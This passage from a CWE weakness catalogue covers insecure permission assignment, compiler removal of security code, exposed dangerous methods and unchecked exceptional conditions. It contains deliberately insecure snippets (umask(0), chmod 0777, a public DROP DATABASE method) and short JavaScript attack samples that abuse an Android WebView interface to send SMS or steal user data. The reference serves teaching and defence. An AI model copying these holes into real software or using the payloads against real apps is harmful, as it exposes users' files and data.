Automated dynamic analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated dynamic analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes. When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated dynamic analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

### Manual Static Analysis

Manual static analysis may be effective in detecting the use of custom permissions models and functions. The code could then be examined to identifying usage of the related functions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

### Manual Dynamic Analysis

Manual dynamic analysis may be effective in detecting the use of custom permissions models and functions. The program could then be executed with a focus on exercising code paths that are related to the custom permissions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

### Fuzzing

Fuzzing is not effective in detecting this weakness.

### Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as *truss* (Solaris) and *strace* (Linux); system activity monitors such as *FileMon*, *RegMon*, *Process Monitor*, and other *Sysinternals* utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and watch for library functions or system calls on OS resources such as files, directories, and shared memory. Examine the arguments to these calls to infer which permissions are being used.

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inter-application Flow Analysis

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Host Application Interface Scanner Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Automated Monitored Execution Forced Path Execution

*Effectiveness = High*

### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### **Automated Static Analysis**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

*Effectiveness = SOAR Partial*

### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## **Potential Mitigations**

### **Phase: Implementation**

When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.

### **Phase: Architecture and Design**

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]

*Effectiveness = Moderate*

*This can be an effective strategy. However, in practice, it may be difficult or time consuming to define these areas when there are many different resources or user types, or if the applications features change rapidly.*

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

**Phase: Implementation****Phase: Installation**

During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

*Effectiveness = High*

**Phase: System Configuration**

For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.

*Effectiveness = High*

**Phase: Documentation**

Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.

**Phase: Installation**

Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.

**Phase: Operation****Phase: System Configuration**

*Strategy = Environment Hardening*

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

**Demonstrative Examples****Example 1:**

The following code sets the umask of the process to 0 before creating a file and writing "Hello world" into the file.

Example Language: C

(Bad)

```
#define OUTFILE "hello.out"
umask(0);
FILE *out;
/* Ignore link following (CWE-59) for brevity */
out = fopen(OUTFILE, "w");
if (out) {
    fprintf(out, "hello world!\n");
    fclose(out);
}
```

After running this program on a UNIX system, running the "ls -l" command might return the following output:

Example Language:

(Result)

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out
```

The "rw-rw-rw-" string indicates that the owner, group, and world (all users) can read the file and write to it.

### Example 2:

This code creates a home directory for a new user, and makes that user the owner of the directory. If the new directory cannot be owned by the user, the directory is deleted.

Example Language: PHP

(Bad)

```
function createUserDir($username){
    $path = '/home/'.$username;
    if(!mkdir($path)){
        return false;
    }
    if(!chown($path,$username)){
        rmdir($path);
        return false;
    }
    return true;
}
```

Because the optional "mode" argument is omitted from the call to mkdir(), the directory is created with the default permissions 0777. Simply setting the new user as the owner of the directory does not explicitly change the permissions of the directory, leaving it with the default. This default allows any user to read and write to the directory, allowing an attack on the user's files. The code also fails to change the owner group of the directory, which may result in access by unexpected groups.

This code may also be vulnerable to Path Traversal (CWE-22) attacks if an attacker supplies a non alphanumeric username.

### Example 3:

The following code snippet might be used as a monitor to periodically record whether a web site is alive. To ensure that the file can always be modified, the code uses chmod() to make the file world-writable.

Example Language: Perl

(Bad)

```
$fileName = "secretFile.out";
if (-e $fileName) {
    chmod 0777, $fileName;
}
```

```
my $outFH;
if (! open($outFH, ">>$fileName")) {
    ExitError("Couldn't append to $fileName: $!");
}
my $dateString = FormatCurrentTime();
my $status = IsHostAlive("cwe.mitre.org");
print $outFH "$dateString cwe status: $status\n";
close($outFH);
```

The first time the program runs, it might create a new file that inherits the permissions from its environment. A file listing might look like:

*Example Language:*

*(Result)*

```
-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out
```

This listing might occur when the user has a default umask of 022, which is a common setting. Depending on the nature of the file, the user might not have intended to make it readable by everyone on the system.

The next time the program runs, however - and all subsequent executions - the chmod will set the file's permissions so that the owner, group, and world (all users) can read the file and write to it:

*Example Language:*

*(Result)*

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out
```

Perhaps the programmer tried to do this because a different process uses different permissions that might prevent the file from being updated.

#### Example 4:

The following command recursively sets world-readable permissions for a directory and all of its children:

*Example Language: Shell*

*(Bad)*

```
chmod -R ugo+r DIRNAME
```

If this command is run from a program, the person calling the program might not expect that all the files under the directory will be world-readable. If the directory is expected to contain private data, this could become a security problem.

### Observed Examples

Reference	Description
<b>CVE-2022-29527</b>	Go application for cloud management creates a world-writable sudoers file that allows local attackers to inject sudo rules and escalate privileges to root by winning a race condition. <a href="https://www.cve.org/CVERecord?id=CVE-2022-29527">https://www.cve.org/CVERecord?id=CVE-2022-29527</a>
<b>CVE-2009-3482</b>	Anti-virus product sets insecure "Everyone: Full Control" permissions for files under the "Program Files" folder, allowing attackers to replace executables with Trojan horses. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3482">https://www.cve.org/CVERecord?id=CVE-2009-3482</a>
<b>CVE-2009-3897</b>	Product creates directories with 0777 permissions at installation, allowing users to gain privileges and access a socket used for authentication. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3897">https://www.cve.org/CVERecord?id=CVE-2009-3897</a>
<b>CVE-2009-3489</b>	Photo editor installs a service with an insecure security descriptor, allowing users to stop or start the service, or execute commands as SYSTEM. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3489">https://www.cve.org/CVERecord?id=CVE-2009-3489</a>
<b>CVE-2020-15708</b>	socket created with insecure permissions

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2020-15708">https://www.cve.org/CVERecord?id=CVE-2020-15708</a>
<b>CVE-2009-3289</b>	Library function copies a file to a new target and uses the source file's permissions for the target, which is incorrect when the source file is a symbolic link, which typically has 0777 permissions. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3289">https://www.cve.org/CVERecord?id=CVE-2009-3289</a>
<b>CVE-2009-0115</b>	Device driver uses world-writable permissions for a socket file, allowing attackers to inject arbitrary commands. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0115">https://www.cve.org/CVERecord?id=CVE-2009-0115</a>
<b>CVE-2009-1073</b>	LDAP server stores a cleartext password in a world-readable file. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1073">https://www.cve.org/CVERecord?id=CVE-2009-1073</a>
<b>CVE-2009-0141</b>	Terminal emulator creates TTY devices with world-writable permissions, allowing an attacker to write to the terminals of other users. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0141">https://www.cve.org/CVERecord?id=CVE-2009-0141</a>
<b>CVE-2008-0662</b>	VPN product stores user credentials in a registry key with "Everyone: Full Control" permissions, allowing attackers to steal the credentials. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0662">https://www.cve.org/CVERecord?id=CVE-2008-0662</a>
<b>CVE-2008-0322</b>	Driver installs its device interface with "Everyone: Write" permissions. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0322">https://www.cve.org/CVERecord?id=CVE-2008-0322</a>
<b>CVE-2009-3939</b>	Driver installs a file with world-writable permissions. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3939">https://www.cve.org/CVERecord?id=CVE-2009-3939</a>
<b>CVE-2009-3611</b>	Product changes permissions to 0777 before deleting a backup; the permissions stay insecure for subsequent backups. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3611">https://www.cve.org/CVERecord?id=CVE-2009-3611</a>
<b>CVE-2007-6033</b>	Product creates a share with "Everyone: Full Control" permissions, allowing arbitrary program execution. <a href="https://www.cve.org/CVERecord?id=CVE-2007-6033">https://www.cve.org/CVERecord?id=CVE-2007-6033</a>
<b>CVE-2007-5544</b>	Product uses "Everyone: Full Control" permissions for memory-mapped files (shared memory) in inter-process communication, allowing attackers to tamper with a session. <a href="https://www.cve.org/CVERecord?id=CVE-2007-5544">https://www.cve.org/CVERecord?id=CVE-2007-5544</a>
<b>CVE-2005-4868</b>	Database product uses read/write permissions for everyone for its shared memory, allowing theft of credentials. <a href="https://www.cve.org/CVERecord?id=CVE-2005-4868">https://www.cve.org/CVERecord?id=CVE-2005-4868</a>
<b>CVE-2004-1714</b>	Security product uses "Everyone: Full Control" permissions for its configuration files. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1714">https://www.cve.org/CVERecord?id=CVE-2004-1714</a>
<b>CVE-2001-0006</b>	"Everyone: Full Control" permissions assigned to a mutex allows users to disable network connectivity. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0006">https://www.cve.org/CVERecord?id=CVE-2001-0006</a>
<b>CVE-2002-0969</b>	Chain: database product contains buffer overflow that is only reachable through a .ini configuration file - which has "Everyone: Full Control" permissions. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0969">https://www.cve.org/CVERecord?id=CVE-2002-0969</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input type="checkbox"/>	Page
MemberOf	<b>C</b>	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	<input type="checkbox"/>	734 2140
MemberOf	<b>C</b>	753	2009 Top 25 - Porous Defenses	<input type="checkbox"/>	750 2146
MemberOf	<b>C</b>	803	2010 Top 25 - Porous Defenses	<input type="checkbox"/>	800 2148



Nature	Type	ID	Name	V	Page
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	2151
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2161
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	2162
MemberOf	C	860	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV)	844	2163
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	2165
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	2187
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2244
MemberOf	C	1149	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)	1133	2245
MemberOf	C	1150	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV)	1133	2245
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354

## Notes

### Mapping

Use for Mapping: Allowed-with-Review (this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review). Rationale: While the name itself indicates an assignment of permissions for resources, this is often misused for vulnerabilities in which "permissions" are not checked, which is an "authorization" weakness (CWE-285 or descendants) within CWE's model [REF-1287]. Comments: closely analyze the specific mistake that is allowing the resource to be exposed, and perform a CWE mapping for that mistake.

### Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	FIO03-J		Create files with appropriate access permission



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	SEC01-J		Do not allow tainted variables in privileged blocks
The CERT Oracle Secure Coding Standard for Java (2011)	ENV03-J		Do not grant dangerous combinations of permissions
CERT C Secure Coding	FIO06-C		Create files with appropriate access permissions

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
17	Using Malicious Files
60	Reusing Session IDs (aka Session Replay)
61	Session Fixation
62	Cross Site Request Forgery
122	Privilege Abuse
127	Directory Indexing
180	Exploiting Incorrectly Configured Access Control Security Levels
206	Signing Malicious Code
234	Hijacking a privileged process
642	Replace Binaries

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

[REF-594]Jason Lam. "Top 25 Series - Rank 21 - Incorrect Permission Assignment for Critical Response". 2010 March 4. SANS Software Security Institute. < <http://software-security.sans.org/blog/2010/03/24/top-25-series-rank-21-incorrect-permission-assignment-for-critical-response> >.

[REF-199]NIST. "Federal Desktop Core Configuration". < <http://nvd.nist.gov/fdcc/index.cfm> >.

[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < [https://cwe.mitre.org/top25/archive/2022/2022\\_cwe\\_top25\\_supplemental.html#problematicMappingDetails](https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails) >.

[REF-1307]Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". 2022 August 6. < <https://www.cisecurity.org/benchmark/azure> >.2023-01-19.

## CWE-733: Compiler Optimization Removal or Modification of Security-critical Code

**Weakness ID** : 733

**Structure** : Simple

**Abstraction** : Base

### Description

The developer builds a security-critical protection mechanism into the software, but the compiler optimizes the program such that the mechanism is removed or modified.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1038	Insecure Automated Optimizations	1737
ParentOf		14	Compiler Removal of Code to Clear Buffers	14

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2120

### Applicable Platforms

**Language** : C (Prevalence = Often)

**Language** : C++ (Prevalence = Often)

**Language** : Compiled (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Other	Other	

### Detection Methods

#### Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

#### White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

### Observed Examples

Reference	Description
<b>CVE-2008-1685</b>	C compiler optimization, as allowed by specifications, removes code that is used to perform checks to detect integer overflows. <a href="https://www.cve.org/CVERecord?id=CVE-2008-1685">https://www.cve.org/CVERecord?id=CVE-2008-1685</a>
<b>CVE-2019-1010006</b>	Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787). <a href="https://www.cve.org/CVERecord?id=CVE-2019-1010006">https://www.cve.org/CVERecord?id=CVE-2019-1010006</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		976	SFP Secondary Cluster: Compiler	888	2200

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
24	Filter Failure through Buffer Overflow
46	Overflow Variables and Tags

## References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

## CWE-749: Exposed Dangerous Method or Function

**Weakness ID** : 749

**Structure** : Simple

**Abstraction** : Base

### Description

The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

### Extended Description

This weakness can lead to a wide variety of resultant weaknesses, depending on the behavior of the exposed method. It can apply to any number of technologies and approaches, such as ActiveX controls, Java functions, IOCTLs, and so on.

The exposure can occur in a few different ways:

- The function/method was never intended to be exposed to outside actors.
- The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644
ParentOf	ⓔ	618	Exposed Unsafe ActiveX Method	1299
ParentOf	Ⓥ	782	Exposed IOCTL with Insufficient Access Control	1534

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	ⓐ	1228	API / Function Errors	2275

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Integrity	Gain Privileges or Assume Identity	
Confidentiality	Read Application Data	
Availability	Modify Application Data	
Access Control	Execute Unauthorized Code or Commands	
Other	Other	
<p><i>Exposing critical functionality essentially provides an attacker with the privilege level of the exposed functionality. This could result in the modification or exposure of sensitive data or possibly even execution of arbitrary code.</i></p>		

### Potential Mitigations

#### Phase: Architecture and Design

If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

#### Phase: Architecture and Design

#### Phase: Implementation

*Strategy = Attack Surface Reduction*

Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be: accessible to all users restricted to a small set of privileged users prevented from being directly accessible at all Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.

### Demonstrative Examples

#### Example 1:

In the following Java example the method `removeDatabase` will delete the database with the name specified in the input parameter.

*Example Language: Java*

*(Bad)*

```
public void removeDatabase(String databaseName) {
    try {
        Statement stmt = conn.createStatement();
        stmt.execute("DROP DATABASE " + databaseName);
    } catch (SQLException ex) {...}
}
```

The method in this example is declared public and therefore is exposed to any class in the application. Deleting a database should be considered a critical operation within an application and access to this potentially dangerous method should be restricted. Within Java this can be accomplished simply by declaring the method private thereby exposing it only to the enclosing class as in the following example.

*Example Language: Java*

*(Good)*

```
private void removeDatabase(String databaseName) {
    try {
```

```
Statement stmt = conn.createStatement();
stmt.execute("DROP DATABASE " + dbName);
} catch (SQLException ex) {...}
}
```

**Example 2:**

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

*Example Language: Java**(Bad)*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

*Example Language: Objective-C**(Bad)*

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

*Example Language: JavaScript**(Attack)*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

**Example 3:**

This application uses a WebView to display websites, and creates a Javascript interface to a Java object to allow enhanced functionality on a trusted website:

*Example Language: Java**(Bad)*

```
public class WebViewGUI extends Activity {
    WebView mainWebView;
    public void onCreate(Bundle savedInstanceState) {
```

```

super.onCreate(savedInstanceState);
mainWebView = new WebView(this);
mainWebView.getSettings().setJavaScriptEnabled(true);
mainWebView.addJavascriptInterface(new JavaScriptInterface(), "userInfoObject");
mainWebView.loadUrl("file:///android_asset/www/index.html");
setContentView(mainWebView);
}
final class JavaScriptInterface {
    JavaScriptInterface () {}
    public String getUserInfo() {
        return currentUser.Info();
    }
}
}
}

```

Before Android 4.2 all methods, including inherited ones, are exposed to Javascript when using `addJavascriptInterface()`. This means that a malicious website loaded within this `WebView` can use reflection to acquire a reference to arbitrary Java objects. This will allow the website code to perform any action the parent application is authorized to.

For example, if the application has permission to send text messages:

*Example Language: JavaScript*

*(Attack)*

```

<script>
    userInfoObject.getClass().forName('android.telephony.SmsManager').getMethod('getDefault',null).sendTextMessage(attackNumber,
        null, attackMessage, null, null);
</script>

```

This malicious script can use the `userInfoObject` object to load the `SmsManager` object and send arbitrary text messages to any recipient.

#### Example 4:

After Android 4.2, only methods annotated with `@JavascriptInterface` are available in JavaScript, protecting usage of `getClass()` by default, as in this example:

*Example Language: Java*

*(Bad)*

```

final class JavaScriptInterface {
    JavaScriptInterface () {}
    @JavascriptInterface
    public String getUserInfo() {
        return currentUser.Info();
    }
}
}

```

This code is not vulnerable to the above attack, but still may expose user info to malicious pages loaded in the `WebView`. Even malicious iframes loaded within a trusted page may access the exposed interface:

*Example Language: JavaScript*

*(Attack)*

```

<script>
    var info = window.userInfoObject.getUserInfo();
    sendUserInfo(info);
</script>

```

This malicious code within an `iframe` is able to access the interface object and steal the user's data.

### Observed Examples

Reference	Description
CVE-2007-6382	arbitrary Java code execution via exposed method

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2007-6382">https://www.cve.org/CVERecord?id=CVE-2007-6382</a>
<b>CVE-2007-1112</b>	security tool ActiveX control allows download or upload of files <a href="https://www.cve.org/CVERecord?id=CVE-2007-1112">https://www.cve.org/CVERecord?id=CVE-2007-1112</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	808	2010 Top 25 - Weaknesses On the Cusp	800	2149
MemberOf	<b>C</b>	975	SFP Secondary Cluster: Architecture	888	2199

### Notes

#### Research Gap

Under-reported and under-studied. This weakness could appear in any technology, language, or framework that allows the programmer to provide a functional interface to external parties, but it is not heavily reported. In 2007, CVE began showing a notable increase in reports of exposed method vulnerabilities in ActiveX applications, as well as IOCTL access to OS-level resources. These weaknesses have been documented for Java applications in various secure programming sources, but there are few reports in CVE, which suggests limited awareness in most parts of the vulnerability research community.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
500	WebView Injection

### References

[REF-503]Microsoft. "Developing Secure ActiveX Controls". 2005 April 3. < <https://msdn.microsoft.com/en-us/library/ms885903.aspx> >.

[REF-510]Microsoft. "How to stop an ActiveX control from running in Internet Explorer". < <https://support.microsoft.com/en-us/help/240797/how-to-stop-an-activex-control-from-running-in-internet-explorer> >.

## CWE-754: Improper Check for Unusual or Exceptional Conditions

**Weakness ID** : 754

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.

### Extended Description

The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.

Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.



## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1433
ParentOf	B	252	Unchecked Return Value	575
ParentOf	B	253	Incorrect Check of Function Return Value	582
ParentOf	B	273	Improper Check for Dropped Privileges	626
ParentOf	B	354	Improper Validation of Integrity Check Value	830
ParentOf	B	391	Unchecked Error Condition	898
ParentOf	B	394	Unexpected Status Code or Return Value	904
ParentOf	B	476	NULL Pointer Dereference	1070

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	B	252	Unchecked Return Value	575
ParentOf	B	273	Improper Check for Dropped Privileges	626
ParentOf	B	476	NULL Pointer Dereference	1070

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	2220

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Integrity	DoS: Crash, Exit, or Restart	
Availability	Unexpected State	
<p><i>The data which were produced as a result of a function call could be in a bad state upon return. If the return value is not checked, then this bad data may be used in operations, possibly leading to a crash or other unintended behaviors.</i></p>		

## Detection Methods

### Automated Static Analysis

Automated static analysis may be useful for detecting unusual conditions involving system resources or common programming idioms, but not for violations of business rules.

*Effectiveness = Moderate*

### Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

## Potential Mitigations

### Phase: Requirements

*Strategy = Language Selection*

